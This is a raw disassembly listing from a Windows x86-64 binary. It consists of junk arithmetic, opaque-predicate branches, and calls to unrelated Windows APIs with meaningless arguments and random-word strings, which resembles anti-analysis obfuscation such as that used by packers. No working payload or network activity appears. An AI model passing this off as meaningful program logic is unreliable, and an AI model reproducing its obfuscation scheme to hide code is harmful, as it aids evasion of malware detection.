movabs rax, 0x2838f864eac56d37
mov rcx, qword [rsp + 0x4d78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2974]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4d88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x4da0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4dd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x131]
and eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x135]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x133], al
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0xb24]
sar eax, cl
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov eax, dword [rsp + 0x29d0]
xor eax, 0x29be86a9
mov dword [rsp + 0x29d0], eax
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4de0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x2988]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x6c4be31f46b45436
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d78], rax
jmp 0x1400583ae
mov eax, dword [rsp + 0x2974]
mov ecx, dword [rsp + 0x2980]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x28ac]
mov edx, dword [rsp + 0x2988]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x140058914
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0x133]
sub eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x4d78]
mov qword [rsp + 0x4e08], rax
movabs rax, 0x1ab6d4186bbe3755
cmp qword [rsp + 0x4e08], rax
je 0x1400588e2
movabs rax, 0x6e3ade4d22754151
cmp qword [rsp + 0x4e08], rax
je 0x14005886b
jmp 0x140058914
movsx eax, word [rsp + 0xb1c]
add eax, 0x99b
movsx ecx, word [rsp + 0xb20]
cmp eax, ecx
jle 0x1400588c3
mov dword [rsp + 0x28], 0xa2
lea rax, [rsp + 0x15cb0]
mov qword [rsp + 0x20], rax
mov r9d, SHSetInstanceExplorer
lea r8, str.finitely_Unofficial
mov edx, ILFree
mov ecx, reloc.SHELL32.dll_ILFree
call qword [sym.imp.KERNEL32.dll_LCMapStringW]
mov dword [rsp + 0x29ec], eax
call fcn.14014a530
nop
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb18]
sub eax, ecx
mov word [rsp + 0xb24], ax
jmp 0x140058914
lea rax, [rsp + 0xb20]
mov qword [rsp + 0x20], rax
mov r9d, 0xf5
lea r8, [rsp + 0x5f]
mov edx, 0x2a
mov rcx, qword [rsp + 0x4e10]
call qword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
mov dword [rsp + 0x2978], eax
movzx eax, word [rsp + 0xb1c]
mov word [rsp + 0xb28], ax
mov dword [rsp + 0x29f0], 0x8831
mov rax, qword [rsp + 0x4d88]
mov qword [rsp + 0x4e18], rax
movabs rax, 0x7fffffffffffffff
cmp qword [rsp + 0x4e18], rax
je 0x140058970
movabs rax, 0x990fa2e4157e7b95
cmp qword [rsp + 0x4e18], rax
je 0x140149718
jmp 0x14014983d
movzx eax, word [rsp + 0xb18]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0xb24]
cmp eax, ecx
je 0x140058a62
movsx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movzx eax, word [rsp + 0xb24]
mov dword [rsp + 0x29f4], eax
cmp dword [rsp + 0x29f4], 0x2eb
je 0x140058a31
cmp dword [rsp + 0x29f4], 0x3e5
je 0x1400589df
jmp 0x140058a5d
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x133], al
movzx eax, word [rsp + 0xb1c]
mov word [rsp + 0x20], ax
mov r9d, dword [rsp + 0x2980]
movzx r8d, word [rsp + 0xb18]
movzx edx, word [rsp + 0xb18]
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rax]
call fcn.14014af40
nop
jmp 0x140058a5d
mov word [rsp + 0x20], SHSetInstanceExplorer
mov r9d, ILFree
lea r8, [rsp + 0x15cb0]
mov edx, 0x87
mov ecx, 0x88
call qword [sym.imp.KERNEL32.dll_GetGeoInfoW]
mov dword [rsp + 0x29f8], eax
jmp 0x140149604
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov byte [rsp + 0x29fc], al
cmp byte [rsp + 0x29fc], 0
je 0x140058a91
cmp byte [rsp + 0x29fc], 0x38
je 0x1401494c4
jmp 0x140149566
movzx eax, byte [rsp + 0x132]
mov byte [rsp + 0x2a00], al
cmp byte [rsp + 0x2a00], 0x53
je 0x140058aac
jmp 0x140058aca
mov dx, 0xd2
mov rcx, qword [rsp + 0x4e10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dword [rsp + 0x2a04], eax
jmp 0x140058dc1
mov rax, qword [rsp + 0x4d78]
mov qword [rsp + 0x4e20], rax
movabs rax, 0x6c0668ca670936ac
cmp qword [rsp + 0x4e20], rax
je 0x140058af3
jmp 0x140058c77
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
mov qword [rsp + 0x4e28], rax
movabs rax, 0x52d4e0649bc58c69
cmp qword [rsp + 0x4e28], rax
je 0x140058b37
movabs rax, 0x6d6bbc557e04c5db
cmp qword [rsp + 0x4e28], rax
je 0x140058c55
jmp 0x140058c72
movzx eax, byte [rsp + 0x135]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x28ac]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x2974]
mov edx, dword [rsp + 0x2988]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140058bfd
movzx eax, word [rsp + 0xb24]
movzx ecx, word [rsp + 0xb18]
sub eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov eax, dword [rsp + 0x2974]
mov ecx, dword [rsp + 0x28ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb18]
sar eax, cl
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
lea r9, [rsp + 0x151f0]
mov r8d, 0x44
lea rdx, str.Tableware_Encroaches
lea rcx, str.C:lyricspeacekeepingDetectabilityLemurs_spadework
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov dword [rsp + 0x2988], eax
jmp 0x140058c53
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4d88]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x4de0]
je 0x140058c53
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
shl rax, 0x28
mov qword [rsp + 0x4d78], rax
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
jmp 0x140058c72
movzx eax, word [rsp + 0xb18]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb24], ax
jmp 0x140058dc1
movabs rax, 0x6d8706aadfdc2d4e
mov rcx, qword [rsp + 0x4d78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
cmp rax, qword [rcx]
je 0x140058d76
movzx eax, byte [rsp + 0x135]
mov byte [rsp + 0x2a08], al
cmp byte [rsp + 0x2a08], 0x1f
je 0x140058cbe
jmp 0x140058d57
lea rax, [rsp + 0x133]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x4dd0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x29f8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xca
mov r9d, 1
mov r8d, 0xea
lea rdx, [rsp + 0x2974]
mov rcx, qword [rsp + 0x4d68]
call qword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
mov dword [rsp + 0x2a04], eax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movzx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb18], ax
jmp 0x140058d74
movzx eax, word [rsp + 0xb18]
mov word [rsp + 0xb2c], ax
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x4e30], rax
jmp 0x140058dc1
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x131]
movsx edx, byte [rsp + 0x132]
add ecx, edx
cmp eax, ecx
jge 0x140058dc1
lea rdx, [rsp + 0x132]
mov rcx, qword [rsp + 0x4d68]
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov dword [rsp + 0x2a04], eax
cmp dword [rsp + 0x2970], 0xaa43
jbe 0x140058fa8
mov eax, dword [rsp + 0x2970]
sub eax, 0x32
mov dword [rsp + 0x2970], eax
movabs rax, 0x21dfea94215f5b38
mov rcx, qword [rsp + 0x4d78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x29ec]
mov dword [rsp + 0x29f8], eax
movabs rax, 0x6491d923c8d0da9b
mov rcx, qword [rsp + 0x4d78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4d88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4de0], rax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
sub eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
or eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
movzx eax, word [rsp + 0xb24]
movzx ecx, word [rsp + 0xb18]
sar eax, cl
mov word [rsp + 0xb2c], ax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
xor eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb1c]
shl eax, cl
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4d70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4de0], rax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov eax, dword [rsp + 0x29d0]
mov dword [rsp + 0x29ec], eax
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x2ef97ace334b0452
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d78], rax
movsx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
sub eax, ecx
mov word [rsp + 0xb18], ax
jmp 0x140058dc1
movzx eax, byte [rsp + 0x133]
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x4ac4fd2d3ac2fb6a
mov rax, qword [rax]
sub rax, rcx
cmp rax, qword [rsp + 0x4d78]
jl 0x14005905e
movzx eax, byte [rsp + 0x135]
movzx ecx, byte [rsp + 0x136]
sub eax, ecx
mov byte [rsp + 0x5f], al
movzx eax, word [rsp + 0xb28]
mov word [rsp + 0xb30], ax
mov eax, dword [rsp + 0x29f8]
movzx ecx, al
mov eax, dword [rsp + 0x29d0]
shl eax, cl
mov dword [rsp + 0x29ec], eax
mov dword [rsp + 0x2a0c], 0x4a2e
mov dword [rsp + 0x2a10], 0x649e
lea rax, [rsp + 0x2988]
mov qword [rsp + 0x4e38], rax
movsx eax, word [rsp + 0xb28]
movsx ecx, word [rsp + 0xb1c]
or eax, ecx
mov word [0x1401c2a30], ax
jmp 0x140059094
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x2988]
mov edx, dword [rsp + 0x2974]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x140059094
movzx ecx, word [rsp + 0xb20]
call fcn.14014a980
nop
mov dword [rsp + 0x2a14], 0xc6cc
movsx eax, word [rsp + 0xb20]
mov dword [rsp + 0x2a18], eax
cmp dword [rsp + 0x2a18], 0xfffff6a2
je 0x1400591ce
cmp dword [rsp + 0x2a18], 0x37c7
je 0x1400590d1
jmp 0x1401493d6
mov eax, dword [rsp + 0x29d0]
mov ecx, dword [rsp + 0x29f8]
sub ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x29ec]
jg 0x1400591c9
mov rax, qword [rsp + 0x4d88]
mov qword [rsp + 0x4e40], rax
movabs rax, 0x82fa0cbfe9265a2b
cmp qword [rsp + 0x4e40], rax
je 0x1400591ad
movabs rax, 0xacc041949c28bfb6
cmp qword [rsp + 0x4e40], rax
je 0x140059131
jmp 0x1400591c9
movsx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x131], al
movsx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
lea r8, [rsp + 0x151a0]
lea rdx, [rsp + 0x151a0]
mov ecx, 0xf2
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x2a1c], eax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
add eax, ecx
mov word [rsp + 0xb18], ax
jmp 0x1400591c9
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2988]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
jmp 0x1401493d6
movabs rax, 0x12ebba16a14cae19
mov rcx, qword [rsp + 0x4d78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
cmp rax, qword [rcx]
jge 0x1400592be
mov eax, dword [rsp + 0x29ec]
mov ecx, dword [rsp + 0x29f8]
and ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x29d0]
jge 0x140059230
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4d88]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0xb24]
or eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
lea rax, [rsp + 0x4d70]
mov qword [rsp + 0x20], rax
mov r9d, 0x88
lea r8, [rsp + 0x4e30]
lea rdx, [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4e48]
call qword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [rsp + 0x2a20], eax
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
shl rax, 0x39
mov qword [rsp + 0x4d78], rax
mov eax, dword [rsp + 0x2988]
movzx ecx, al
mov eax, dword [rsp + 0x2974]
shr eax, cl
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
jmp 0x1401493d0
lea rax, [rsp + 0x134]
mov qword [rsp + 0x4e50], rax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
sub eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0x133]
and eax, ecx
mov byte [rsp + 0x136], al
movzx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov eax, dword [rsp + 0x29ec]
mov ecx, dword [rsp + 0x29f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29d0], eax
mov eax, dword [rsp + 0x2974]
mov ecx, dword [rsp + 0x28ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
movabs rax, 0x6af37b92fdd91bcb
mov rcx, qword [rsp + 0x4d78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x134]
sub eax, ecx
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb2c]
add eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x133], al
movsx eax, word [rsp + 0xb30]
movsx ecx, word [rsp + 0xb28]
xor eax, ecx
mov word [rsp + 0xb20], ax
movsx eax, word [rsp + 0xb1c]
movsx ecx, word [0x1401c2a30]
or eax, ecx
mov word [rsp + 0xb20], ax
mov eax, dword [rsp + 0x29ec]
movzx ecx, al
mov eax, dword [rsp + 0x29d0]
sar eax, cl
mov dword [rsp + 0x29f8], eax
mov eax, dword [rsp + 0x2a0c]
sub eax, 0x3f
mov dword [rsp + 0x2a0c], eax
mov rax, qword [rsp + 0x4d78]
shl rax, 0x21
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2988]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb18]
sub eax, ecx
mov word [rsp + 0xb2c], ax
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x135]
and eax, ecx
mov rcx, qword [rsp + 0x4dd8]
mov byte [rcx], al
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb28]
sub eax, ecx
mov word [rsp + 0xb30], ax
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5f], al
movabs rax, 0x1d658b640d3dd53f
mov rcx, qword [rsp + 0x4d78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb30]
add eax, ecx
mov word [0x1401c2a30], ax
mov eax, dword [rsp + 0x2974]
movzx ecx, al
mov eax, dword [rsp + 0x28ac]
shl eax, cl
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0xb2c]
sar eax, cl
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb1c]
or eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movzx eax, word [rsp + 0xb2c]
movzx ecx, word [rsp + 0xb18]
sub eax, ecx
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
sub eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb28]
movsx ecx, word [rsp + 0xb30]
add eax, ecx
mov word [0x1401c2a30], ax
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2974]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4de0], rax
movsx eax, word [rsp + 0xb30]
movsx ecx, word [0x1401c2a30]
add eax, ecx
mov word [rsp + 0xb1c], ax
cmp dword [rsp + 0x2a0c], 0x37f8
jae 0x1400592ce
movsx eax, byte [rsp + 0x131]
movsx ecx, byte [rsp + 0x134]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4da0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4dd8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x136], al
movzx eax, word [rsp + 0xb2c]
movzx ecx, word [rsp + 0xb24]
or eax, ecx
mov word [rsp + 0xb18], ax
mov eax, dword [rsp + 0x2980]
mov rcx, qword [rsp + 0x4e38]
mov qword [rsp + 0x4e58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e58]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
movabs rax, 0x6c21b08e7702595
mov rcx, qword [rsp + 0x4d78]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
and eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
add eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4da0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x135], al
movsx eax, byte [rsp + 0x131]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
movzx eax, word [rsp + 0xb2c]
movzx ecx, word [rsp + 0xb18]
sub eax, ecx
mov word [rsp + 0xb24], ax
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0xb2c]
and eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4d88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4de0], rax
movabs rax, 0x6c55544fa910b1f
mov rcx, qword [rsp + 0x4d78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x4d98]
mov qword [rsp + 0x4e60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e60]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x135], al
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x136], al
movsx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x132], al
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x246a8ecbb68b302a
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d78], rax
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
mov eax, dword [rsp + 0x2960]
sub eax, 0x8c
mov dword [rsp + 0x2960], eax
mov eax, dword [rsp + 0x29f8]
mov ecx, dword [rsp + 0x29d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29ec], eax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
sub eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
movsx eax, word [0x1401c2a30]
movsx ecx, word [rsp + 0xb30]
add eax, ecx
mov word [rsp + 0xb20], ax
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0xb24]
shl eax, cl
mov word [rsp + 0xb2c], ax
movzx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb2c], ax
mov eax, dword [rsp + 0x28ac]
mov rcx, qword [rsp + 0x4e38]
mov qword [rsp + 0x4e68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e68]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
cmp dword [rsp + 0x2960], 0xb5e3
ja 0x140059701
lea rax, [rsp + 0x4d78]
mov qword [rsp + 0x4e70], rax
cmp dword [rsp + 0x29f0], 0x95b1
je 0x140059eef
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d78]
xor rcx, rax
